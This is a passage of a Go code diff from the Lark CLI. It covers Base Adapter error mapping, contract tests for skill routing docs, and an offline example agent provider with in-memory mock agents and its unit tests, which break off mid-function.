if len(raw) == 0 || string(raw) == "null" {
return "", nil
}
var unix int64
if err := json.Unmarshal(raw, &unix); err == nil {
return time.Unix(unix, 0).UTC().Format(time.RFC3339), nil
}
var value string
if err := json.Unmarshal(raw, &value); err != nil {
return "", errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned invalid timestamp %s", string(raw)).WithCause(err)
}
if value == "" {
return "", nil
}
if n, err := strconv.ParseInt(value, 10, 64); err == nil {
return time.Unix(n, 0).UTC().Format(time.RFC3339), nil
}
parsed, err := time.Parse(time.RFC3339, value)
if err != nil {
return "", errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned invalid timestamp %q", value).WithCause(err)
}
return parsed.UTC().Format(time.RFC3339), nil
}
func invalidMessage(cause error) error {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned an invalid embedded CliMessage: %v", cause).WithCause(cause)
}
func lastText(messages []iagents.Message) string {
for i := len(messages) - 1; i >= 0; i-- {
for j := len(messages[i].Parts) - 1; j >= 0; j-- {
if messages[i].Parts[j].Type == "text" {
return messages[i].Parts[j].Text
}
}
}
return ""
}
func mapResult(result adapterResult, action string) error {
if result.Result {
return nil
}
message := result.Reason
if message == "" {
message = result.Error.Message
}
if message == "" {
message = action + " failed"
}
switch strings.ToLower(result.Error.Category) {
case "not_found":
return errs.NewAPIError(errs.SubtypeNotFound, "%s: %s", action, message)
case "permission_denied", "forbidden":
return errs.NewPermissionError(errs.SubtypePermissionDenied, "%s: %s", action, message)
case "task_terminal", "failed_precondition":
return errs.NewValidationError(errs.SubtypeFailedPrecondition, "%s: %s", action, message)
case "conflict", "idempotency_conflict":
return errs.NewAPIError(errs.SubtypeConflict, "%s: %s", action, message)
case "rate_limit":
return errs.NewAPIError(errs.SubtypeRateLimit, "%s: %s", action, message).WithRetryable()
case "internal_route", "server_error":
return errs.NewAPIError(errs.SubtypeServerError, "%s: %s", action, message).WithRetryable()
default:
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned an unknown business error category %q for %s", result.Error.Category, action)
}
}

View File

@@ -1,100 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package base
import (
"os"
"strings"
"testing"
)
const (
baseSkillDoc = "../../skills/lark-base/SKILL.md"
agentsSkillDoc = "../../skills/lark-agents/SKILL.md"
baseProviderDoc = "../../skills/lark-agents/references/providers/lark-agents-base.md"
dataAnalysisDoc = "../../skills/lark-base/references/lark-base-data-analysis-sop.md"
dataQueryGuide = "../../skills/lark-base/references/lark-base-data-query-guide.md"
dataQueryContract = "../../skills/lark-base/references/lark-base-data-query.md"
)
func readContractDoc(t *testing.T, path string) string {
t.Helper()
raw, err := os.ReadFile(path)
if err != nil {
t.Fatalf("read contract doc %s: %v", path, err)
}
return string(raw)
}
func requireContractText(t *testing.T, doc, path string, values ...string) {
t.Helper()
for _, value := range values {
if !strings.Contains(doc, value) {
t.Errorf("%s must preserve routing contract %q", path, value)
}
}
}
func TestBaseSkillRoutesBeforeChoosingACommand(t *testing.T) {
doc := readContractDoc(t, baseSkillDoc)
routeAt := strings.Index(doc, "## 先路由,再执行")
tokenAt := strings.Index(doc, "## 获取 Base Token 和所需 ID")
commandAt := strings.Index(doc, "## CLI 快速路由(仅在判定 CLI 后)")
if routeAt < 0 || tokenAt < 0 || commandAt < 0 || !(routeAt < tokenAt && tokenAt < commandAt) {
t.Fatalf("routing must precede resource resolution and CLI command selection: route=%d token=%d command=%d", routeAt, tokenAt, commandAt)
}
requireContractText(t, doc, baseSkillDoc,
"version: 1.3.0",
"用户明确要求使用 Agent 或明确指定某条 Base CLI 命令时尊重其选择",
"数据检索与分析",
"一次新增 ≥2 个字段",
"字段改类型、仪表盘组件等组件改类型",
"记录新增、修改、删除;目标 ID/筛选条件和值明确的批量写入",
"查一条记录也属于此类",
"混合意图只要包含数据检索分析、复杂建设或类型变更,整体走 `base:assistant`",
"建设类 Agent 请求没有现成 Base",
"数据查询/分析没有目标 Base",
)
if strings.Contains(doc, "| 一次性聚合统计 | `+data-query`") {
t.Fatal("natural-language aggregation must not route to +data-query by default")
}
}
func TestBaseAgentHandoffUsesOnePublicAssistant(t *testing.T) {
agentsDoc := readContractDoc(t, agentsSkillDoc)
providerDoc := readContractDoc(t, baseProviderDoc)
requireContractText(t, agentsDoc, agentsSkillDoc,
"version: 1.3.1",
"用户明确指定 Agent / `base:assistant`",
"由 `lark-base` 先按产品规则分流",
"首次读 Card → 校验身份/scope/参数 → `send` → `task get --watch` → 必要时 `--answer`",
)
requireContractText(t, providerDoc, baseProviderDoc,
"对外只暴露统一 Base Assistant",
"Card 只做能力与参数校验,不再次判断建设/分析类型",
"lark-cli agents card base:assistant --operation all --as user --format json",
"结构化 `input_required` 回答",
"Card、身份、scope 或 Assistant 服务失败时不静默改走 Base CLI",
"`has_more` / `next_cursor` 分页 envelope",
)
publicDocs := agentsDoc + "\n" + providerDoc + "\n" + readContractDoc(t, baseSkillDoc)
for _, forbidden := range []string{"Building Agent", "Analysis Agent"} {
if strings.Contains(publicDocs, forbidden) {
t.Errorf("public routing docs expose internal child name %q", forbidden)
}
}
}
func TestBaseQueryReferencesDoNotBypassAssistantRouting(t *testing.T) {
for _, path := range []string{dataAnalysisDoc, dataQueryGuide, dataQueryContract} {
doc := readContractDoc(t, path)
requireContractText(t, doc, path,
"base:assistant",
"默认路由",
)
}
}

View File

@@ -1,402 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package example is the in-repo agent provider onboarding template and offline
// demo backend: a hypothetical example business domain whose data / calls are
// entirely in-memory mocks, with zero network. It has three roles:
//
// 1. A copy-start point for new integrators — copy the package, rename the
// scheme, write plain hook funcs, add one line to agent/register.go. There is
// no Factory, no Deps, no probe, no Kind field.
// 2. The command tree's offline demo backend — the full agent
// list/card/send/task/context chain runs for real without any platform config.
// 3. A stable mock scheme for cmd-layer tests.
//
// The whole provider is a declarative agents.Provider value: metadata + a catalog
// of agents.AgentSpec units. Each spec's capability set is exactly the hooks it
// wires (the framework derives the card matrix from that), so echo (minimal) and
// reporter (full) differ by DATA, not by a Factory branch.
package example
import (
"context"
"fmt"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/core"
)
// Provider is the whole declaration. The Catalog set makes this a catalog-type
// provider; the framework derives enumeration (agents list example), the
// unknown-id error, and each agent's card matrix from this data.
func Provider() agents.Provider {
return agents.Provider{
Scheme: "example",
Label: "Example 演示 agent内存 mock零网络",
AgentIDSource: "运行 lark-cli agents list example 查看内置演示 agent 及其 agent_ref无需任何平台配置",
Identities: []agents.IdentitySpec{{Type: agents.IdentityUser}, {Type: agents.IdentityBot}},
// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
Catalog: []agents.AgentSpec{echoSpec, reporterSpec, plannerSpec},
}
}
// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
// NOTHING else, so its card honestly shows task_cancel / artifact_download /
// file_input = false. Capability IS exactly the wired hooks — there is no bool
// matrix and no capability-refusal code (the command layer gates unwired hooks).
var echoSpec = agents.AgentSpec{
ID: "echo",
Name: "复读机",
Description: "把你发的话原样复读一遍(同一会话续发时带轮次,证明上下文记忆)。最小能力集示范。",
Send: agents.SendOp{Handler: echoSend},
GetTask: agents.TaskGetOp{Handler: getTask},
ListTasks: agents.TaskListOp{Handler: listTasks},
ListContexts: agents.ContextListOp{Handler: listContexts},
GetContext: agents.ContextGetOp{Handler: getContext},
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
}
// reporterSpec is the full set: it additionally wires CancelTask +
// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
// difference between the two agents is data you read top-to-bottom, not a branch
// inside a Factory.
// reporterSendParams is reporter's typed view of its send params — the
// BindParams copy-start template. agenttest.CheckParamsBinding locks the tags
// against the declaration below in example_test.go.
type reporterSendParams struct {
ReportFormat string `param:"report_format"`
Quarters int64 `param:"quarters"`
// Render binds the object param's leaves点路径/JSON 两通道归一后的
// "render.*" 键)——嵌套 struct + tag 即完成拼装。
Render renderOpts `param:"render"`
}
type renderOpts struct {
Theme string `param:"theme"`
Watermark bool `param:"watermark"`
}
var reporterSpec = agents.AgentSpec{
ID: "reporter",
Name: "报表生成器",
Description: "对任意请求产出一份内联 CSV 报表 artifact示范 artifact 下载与任务取消链路。",
FileInput: true,
// InputRequired is deliberately NOT declared: reporter never pauses (tasks
// are born terminal), and a question-asking flag would obligate an
// every-brand CancelTask (§6.8 registration check) — its CancelTask is the
// brand-scoping demo below. The HITL demo lives on planner.
// Send declares demo business params covering the whole declaration
// surface: enum + default (report_format), integer + min/max + default
// (quarters). Both optional with defaults, so a bare send behaves exactly
// like before — the params exist to be a copy-start template and to make
// the validation/card/meta.next chain exercisable offline.
Send: agents.SendOp{
Params: []agents.CardParam{
{Name: "report_format", Enum: []string{"csv", "xlsx"}, Default: "csv",
Desc: "报表输出格式"},
{Name: "quarters", Type: "integer", Min: agents.Float(1), Max: agents.Float(12), Default: "4",
Desc: "回溯季度数"},
// object 参数演示:点路径 --param render.theme=dark 或 JSON 整值
// --param render='{"theme":"dark"}' 两通道等价,框架归一后 hook 只见
// 平铺 "render.*" 键。
{Name: "render", Type: "object", Desc: "渲染选项", Fields: []agents.CardParam{
{Name: "theme", Enum: []string{"light", "dark"}, Default: "light", Desc: "配色主题"},
{Name: "watermark", Type: "boolean", Default: "false", Desc: "是否加水印"},
}},
},
Handler: reporterSend,
},
GetTask: agents.TaskGetOp{Handler: getTask},
ListTasks: agents.TaskListOp{Handler: listTasks},
ListContexts: agents.ContextListOp{Handler: listContexts},
GetContext: agents.ContextGetOp{Handler: getContext},
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
// task_cancel is scoped to feishu — a real brand-scoped capability demo:
// under lark reporter's card shows task_cancel=false and
// `agents task cancel example:reporter` is gated with unavailable_for_brand
// (the whole agent stays visible under both brands — only this op is scoped).
CancelTask: agents.TaskCancelOp{Brands: []core.LarkBrand{core.BrandFeishu}, Handler: cancelTask},
DownloadArtifact: agents.ArtifactDownloadOp{Handler: downloadArtifact},
}
// plannerSpec demonstrates the input_required HITL flow (design doc §3-§8):
// the first send pauses on a THREE-question group (single-select + free-text +
// multi-select with a skip option), answered atomically in one send via
// --answer; a second submission gets failed_precondition + resolved_answers.
// It wires CancelTask because a question-asking agent must be walkaway-able
// (§6.8 — Register enforces this), and the read verbs; not artifact.
var plannerSpec = agents.AgentSpec{
ID: "planner",
Name: "报表规划器",
Description: "先弹一组确认问题(单选/自由文本/多选input_required你用 --answer 一次答清后再出报表。示范 HITL 问题组链路。",
InputRequired: true,
Send: agents.SendOp{Handler: plannerSend},
GetTask: agents.TaskGetOp{Handler: getTask},
ListTasks: agents.TaskListOp{Handler: listTasks},
CancelTask: agents.TaskCancelOp{Handler: cancelTask},
ListContexts: agents.ContextListOp{Handler: listContexts},
GetContext: agents.ContextGetOp{Handler: getContext},
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
}
// plannerSend pauses a fresh request on a question group, or applies the
// --answer submission (continuing the group's own task). A bare --text aimed
// at the paused task is rejected with guidance — NEVER forked into a sibling
// task (§6.5): the group contains select questions, so free text cannot be
// consumed as the whole answer here.
func plannerSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
if len(in.Answers) > 0 {
if in.TaskID == "" {
// The CLI guard already enforces this; the belt holds for direct hook calls.
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"回答问题组需提供 --task-id").WithParam("--task-id")
}
task, err := store.answerGroup(rt.AgentID(), in.ContextID, in.TaskID, in.Answers, in.Text)
if err != nil {
return nil, err
}
return &task, nil
}
if in.TaskID != "" {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"该任务在等待问题组答复,且组内含选择题,无法用 --text 自由作答").
WithParam("--text").
WithHint("用 lark-cli agents task get example:%s %s 查看问题组,按 meta.next 的 --answer 模板作答", rt.AgentID(), in.TaskID)
}
ctxID := in.ContextID
if ctxID == "" {
var err error
ctxID, err = store.createContext(rt.AgentID(), truncateTitle(in.Text))
if err != nil {
return nil, err
}
}
// Mint the group's question ids at CREATION time with a fresh per-group
// suffix (§6.2): the group is persisted with these ids and every later
// task get echoes them verbatim; a successor group would mint a different
// suffix, which is the stale-retry protection.
questions := []agents.Question{
{Question: "按什么维度拆分?", Options: []agents.Option{
{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
{OptionID: "by_category", Label: "按品类", Description: "SKU 一级类目"},
}},
{Question: "时间范围?"},
{Question: "包含哪些区域?", MultiSelect: true, Options: []agents.Option{
{OptionID: "east", Label: "华东"},
{OptionID: "north", Label: "华北"},
{OptionID: "skip", Label: "由 agent 决定", Description: "与其它选项互斥"},
}},
}
agents.MintQuestionIDs(questions, newGroupSuffix())
task, err := store.createTask(rt.AgentID(), ctxID, func(int) agents.AgentTask {
return agents.AgentTask{
TaskID: newID("task"),
ContextID: ctxID,
State: agents.StateInputRequired,
Messages: []agents.Message{
{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
{Role: "agent", Parts: []agents.Part{{Type: "text", Text: "生成报表前需确认以下口径。"}}},
},
InputRequired: &agents.InputRequired{
Label: "报表生成确认",
Description: "生成前需确认以下口径",
Questions: questions,
},
}
})
if err != nil {
return nil, err
}
return &task, nil
}
// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
// data, replacing the old state.agentID). The mock ignores rt's network
// methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
// anywhere — the framework's LookupSpec validated ref→spec offline before
// dispatch, so an unknown id never reaches a hook. ──
// echoSend echoes the input; from round 2 on it appends a round marker to prove
// across commands that context memory works.
func echoSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
reply := in.Text
if round > 1 {
reply = fmt.Sprintf("%s第 %d 轮)", in.Text, round)
}
return reply, nil
})
}
// reporterSend produces a fixed inline CSV artifact for any request. It reads
// its demo params through BindParams — the typed, compile-checked consumption
// template (rt.Params() raw lookups work too but are typo-prone). With the
// declaration defaults (csv/4) the reply is byte-identical to the historical
// one; a hook invoked outside the framework (unit tests calling it directly)
// sees an empty param map and the same historical reply.
func reporterSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
p, err := agents.BindParams[reporterSendParams](rt)
if err != nil {
return nil, err
}
return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
reply := "报表已生成quarterly_report.csv见 artifacts用 task get --artifact <id> -o <path> 下载)"
if p.ReportFormat != "" && p.ReportFormat != "csv" {
reply = fmt.Sprintf("报表已生成(%s 格式,回溯 %d 个季度quarterly_report.%s见 artifacts用 task get --artifact <id> -o <path> 下载)",
p.ReportFormat, p.Quarters, p.ReportFormat)
}
if p.Render.Watermark {
reply = fmt.Sprintf("%s%s 主题,含水印)", reply, p.Render.Theme)
}
if n := len(in.Files); n > 0 {
reply = fmt.Sprintf("已收到 %d 个附件;%s", n, reply)
}
// Name/Mime 在 GetTask 阶段就可见(下载前),调用方能直接据此定 -o 后缀,
// 不必先猜再靠下载后的 suggested_name 纠正——真实 provider 应尽量同样前置。
ext, mime := "csv", "text/csv"
if p.ReportFormat == "xlsx" {
ext, mime = "xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
}
return reply, []agents.Artifact{{ID: newID("art"), Kind: "text", Name: "quarterly_report." + ext, Mime: mime}}
})
}
// newTurn factors the shared store flow: start/continue a context, then create a
// task whose body the caller builds per round. The mock task is instantly
// terminal, so there is no "feed input to a running task" scenario — continuing
// via --task-id returns failed_precondition (the request is valid but the target
// state does not satisfy it, so the AI knows to start a new task instead).
func newTurn(agentID string, in agents.SendInput, build func(round int) (reply string, artifacts []agents.Artifact)) (*agents.AgentTask, error) {
if len(in.Answers) > 0 {
// No pending question group exists on a born-terminal agent — reject
// loudly rather than silently dropping the answers (§6.4's no-silent-drop
// bottom line; reporter passes the CLI's input_required capability gate,
// so this is reachable there).
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
"该 agent 没有待答的问题组").
WithParam("--answer").
WithHint("--answer 只用于回答停在 input_required 的任务;起新任务用 --text")
}
if in.TaskID != "" {
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
"example 的任务发出即完成(终态),无法向已有任务续发").
WithParam("--task-id").
WithHint("去掉 --task-id用 --context-id 在同一会话起新一轮任务")
}
ctxID := in.ContextID
if ctxID == "" {
var err error
ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
if err != nil {
return nil, err
}
}
// createTask validates context ownership under the lock (an unknown /
// cross-agents context id is rejected inside with a typed error), computes the
// round, and inserts atomically.
task, err := store.createTask(agentID, ctxID, func(round int) agents.AgentTask {
reply, artifacts := build(round)
return agents.AgentTask{
TaskID: newID("task"),
ContextID: ctxID,
State: agents.StateCompleted,
IsTerminal: true,
Messages: []agents.Message{
{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
{Role: "agent", Parts: []agents.Part{{Type: "text", Text: reply}}},
},
Artifacts: artifacts,
}
})
if err != nil {
return nil, err
}
return &task, nil
}
func getTask(ctx context.Context, rt agents.Runtime, taskID string) (*agents.AgentTask, error) {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return nil, err
}
return &task, nil
}
func listTasks(ctx context.Context, rt agents.Runtime, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo, error) {
tasks, info := store.listTasks(rt.AgentID(), contextID, page)
return tasks, info, nil
}
func listContexts(ctx context.Context, rt agents.Runtime, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo, error) {
ctxs, info := store.listContexts(rt.AgentID(), page)
return ctxs, info, nil
}
func getContext(ctx context.Context, rt agents.Runtime, ctxID string) (*agents.ContextDetail, error) {
return store.getContext(rt.AgentID(), ctxID)
}
func deleteContext(ctx context.Context, rt agents.Runtime, ctxID string) error {
return store.deleteContext(rt.AgentID(), ctxID)
}
// cancelTask is wired only for reporter, so echo never reaches it (the command
// layer gates echo's cancel on the nil field). The mock task is completed the
// moment it is sent, so canceling a terminal task returns a failed_precondition
// typed error rather than pretending success.
func cancelTask(ctx context.Context, rt agents.Runtime, taskID string) error {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return err
}
if task.State.IsTerminal() {
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
"任务 '%s' 已处于终态 %s无法取消", taskID, task.State).
WithHint("终态任务不可取消;用 lark-cli agents task get example:%s %s 查看结果", rt.AgentID(), taskID)
}
return store.setTaskState(taskID, agents.StateCanceled)
}
// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
const reportCSV = "quarter,revenue,cost,margin\n" +
"2026Q1,1250,830,0.336\n" +
"2026Q2,1410,905,0.358\n"
// downloadArtifact is wired only for reporter (echo is gated on the nil field).
// It returns inline Bytes; a real provider would fill URL instead and let the
// command layer SSRF-validate + fetch.
//
// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
// file name, echoed back only as a reference for choosing -o — it is untrusted
// and never participates in constructing the local save path (the save path is
// always -o/SafeOutputPath).
func downloadArtifact(ctx context.Context, rt agents.Runtime, taskID, artifactID string) (*agents.ArtifactData, error) {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return nil, err
}
for _, a := range task.Artifacts {
if a.ID == artifactID {
return &agents.ArtifactData{
Name: "quarterly_report.csv",
Mime: "text/csv",
Bytes: []byte(reportCSV),
}, nil
}
}
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
WithHint("运行 lark-cli agents task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
}
// truncateTitle takes the first few characters of the message as the context
// title (truncated by rune to avoid cutting a character in half).
func truncateTitle(s string) string {
const max = 20
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max]) + "…"
}

View File

@@ -1,969 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package example
import (
"context"
"encoding/json"
"errors"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/agents/agenttest"
"github.com/larksuite/cli/internal/core"
)
// Register the example provider for this test binary (provider packages are pure
// data now — the top-level agent package's init does this in production, but that
// package cannot be imported here without an import cycle).
func init() { agents.Register(Provider()) }
// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
// and no-ops the network methods (the mock hooks only ever read AgentID()).
type fakeRuntime struct {
agentID string
params map[string]string
}
func (r fakeRuntime) AgentID() string { return r.agentID }
func (r fakeRuntime) IsBot() bool { return false }
func (r fakeRuntime) Params() map[string]string { return r.params }
func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
return nil, nil
}
func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agents.FilePart) (json.RawMessage, error) {
return nil, nil
}
// swapStore replaces the package-level store with an isolated instance pointing at
// t.TempDir, so tests do not pollute each other or the local demo snapshot.
func swapStore(t *testing.T) {
t.Helper()
old := store
store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
t.Cleanup(func() { store = old })
}
// TestConformance runs the shared conformance suite for every catalog entry.
func TestConformance(t *testing.T) {
agenttest.RunConformance(t, "example", "echo")
}
func TestConformancePlanner(t *testing.T) {
agenttest.RunConformance(t, "example", "planner")
}
func TestConformanceReporter(t *testing.T) {
agenttest.RunConformance(t, "example", "reporter")
}
// TestCapabilityMatrixDiverges pins the deliberate difference between the two
// agents, derived purely from which hooks each spec wires.
func TestCapabilityMatrixDiverges(t *testing.T) {
// Under feishu (default), reporter's feishu-scoped task_cancel is live, so the
// historical full matrix holds.
ec := agents.DeriveCapabilities(&echoSpec, core.BrandFeishu)
rc := agents.DeriveCapabilities(&reporterSpec, core.BrandFeishu)
if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
}
if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
}
if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
t.Errorf("reporter should have everything but input_required enabled, got %+v", rc)
}
if rc.InputRequired {
t.Error("reporter never pauses — input_required must be false (its brand-scoped CancelTask would otherwise violate the §6.8 registration check)")
}
}
// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
func TestEchoUnwiredCapabilities(t *testing.T) {
if echoSpec.CancelTask.Handler != nil {
t.Error("echo should not wire CancelTask (task_cancel=false)")
}
if echoSpec.DownloadArtifact.Handler != nil {
t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
}
if echoSpec.FileInput {
t.Error("echo should not accept file input (file_input=false)")
}
}
// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
func TestEchoMultiTurn(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "echo"}
ctx := context.Background()
t1, err := echoSend(ctx, rt, agents.SendInput{Text: "hello"})
if err != nil {
t.Fatalf("first-turn send: %v", err)
}
if t1.State != agents.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
}
if got := agentReply(t, t1); got != "hello" {
t.Fatalf("first-turn echo should be the original text, got %q", got)
}
t2, err := echoSend(ctx, rt, agents.SendInput{Text: "再来", ContextID: t1.ContextID})
if err != nil {
t.Fatalf("follow-up send: %v", err)
}
if t2.ContextID != t1.ContextID {
t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
}
if got := agentReply(t, t2); got != "再来(第 2 轮)" {
t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
}
got, err := getTask(ctx, rt, t2.TaskID)
if err != nil {
t.Fatalf("getTask: %v", err)
}
if agentReply(t, got) != "再来(第 2 轮)" {
t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
}
tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(tasks) != 2 {
t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
}
// Every summary carries the enriched fields: a status timestamp and the
// one-line digest (the last agent message). listTasks now returns
// most-recent-first, so tasks[0] is the second turn and tasks[1] the first.
for _, ts := range tasks {
if ts.UpdatedAt == "" {
t.Errorf("task summary should carry updated_at: %+v", ts)
}
}
if tasks[0].Summary != "再来(第 2 轮)" {
t.Errorf("newest task summary should carry the round marker, got %q", tasks[0].Summary)
}
if tasks[1].Summary != "hello" {
t.Errorf("oldest task summary should be the first agent message %q, got %q", "hello", tasks[1].Summary)
}
ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
}
if ctxs[0].AwaitingInput {
t.Errorf("context summary should roll up awaiting_input=false, got %+v", ctxs[0])
}
if ctxs[0].UpdatedAt == "" {
t.Error("context summary should carry updated_at")
}
// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
// single most-recent active_task (t2, the latest by updated_at).
detail, err := getContext(ctx, rt, t1.ContextID)
if err != nil {
t.Fatal(err)
}
if detail.TaskCount == nil || *detail.TaskCount != 2 {
t.Fatalf("context detail should report task_count=2, got %+v", detail)
}
if detail.AwaitingInput {
t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
}
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
}
if detail.ActiveTask.Summary != "再来(第 2 轮)" {
t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
}
if detail.ActiveTask.UpdatedAt == "" {
t.Error("active_task.updated_at should be populated")
}
}
// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
// and reporter share one package-global store, so a task/context created under
// one agent MUST be invisible to the other agent's runtime (get/delete return a
// not-found error; list returns nothing). Without this guard
// `agents task get example:reporter <echo-task-id>` would leak echo's data.
func TestCrossAgentIsolation(t *testing.T) {
swapStore(t)
ctx := context.Background()
echo := fakeRuntime{agentID: "echo"}
reporter := fakeRuntime{agentID: "reporter"}
t1, err := echoSend(ctx, echo, agents.SendInput{Text: "secret"})
if err != nil {
t.Fatalf("echo send: %v", err)
}
// reporter must not read/delete echo's task or context.
if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
t.Error("reporter must not read echo's task (cross-agent leak)")
}
if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
t.Error("reporter must not read echo's context (cross-agent leak)")
}
if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
t.Error("reporter must not delete echo's context (cross-agent leak)")
}
if tasks, _, _ := listTasks(ctx, reporter, "", agents.PageParams{}); len(tasks) != 0 {
t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
}
if ctxs, _, _ := listContexts(ctx, reporter, agents.PageParams{}); len(ctxs) != 0 {
t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
}
// echo still sees its own data, and its context survived reporter's delete.
if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
t.Errorf("echo must still read its own task: %v", err)
}
if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
}
}
// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
func TestStateSurvivesReload(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "echo"}
task, err := echoSend(context.Background(), rt, agents.SendInput{Text: "persist"})
if err != nil {
t.Fatal(err)
}
store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
got, err := getTask(context.Background(), rt, task.TaskID)
if err != nil {
t.Fatalf("getTask after reload: %v", err)
}
if got.ContextID != task.ContextID {
t.Fatalf("task should replay fully after reload: %+v", got)
}
}
// plannerAnswers builds the full valid answer set for a freshly opened planner
// group (§10.1 key encoding): q1 by option, q2 by text, q3 multi-select.
func plannerAnswers(ir *agents.InputRequired) map[string][]string {
return map[string][]string{
ir.Questions[0].QuestionID: {"by_region"},
ir.Questions[1].QuestionID + agents.AnswerTextSuffix: {"2024 全年"},
ir.Questions[2].QuestionID: {"east", "north"},
}
}
// TestPlannerGroupFlow drives the input_required HITL loop end to end on the
// reference provider: the first send pauses on a three-question group with
// creation-minted per-group keys, one --answer submission completes the task
// with option ids resolved back to labels, and a second submission gets
// failed_precondition carrying resolved_answers (the "already decided" path).
func TestPlannerGroupFlow(t *testing.T) {
swapStore(t)
rt := fakeRuntime{agentID: "planner"}
ctx := context.Background()
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出个季度报表"})
if err != nil {
t.Fatalf("planner open send: %v", err)
}
if t1.State != agents.StateInputRequired || t1.InputRequired == nil {
t.Fatalf("first send should pause on a question group, got %+v", t1)
}
ir := t1.InputRequired
if ir.Label == "" || len(ir.Questions) != 3 {
t.Fatalf("group should carry a label and 3 questions, got %+v", ir)
}
if len(ir.Questions[0].Options) != 2 || len(ir.Questions[1].Options) != 0 ||
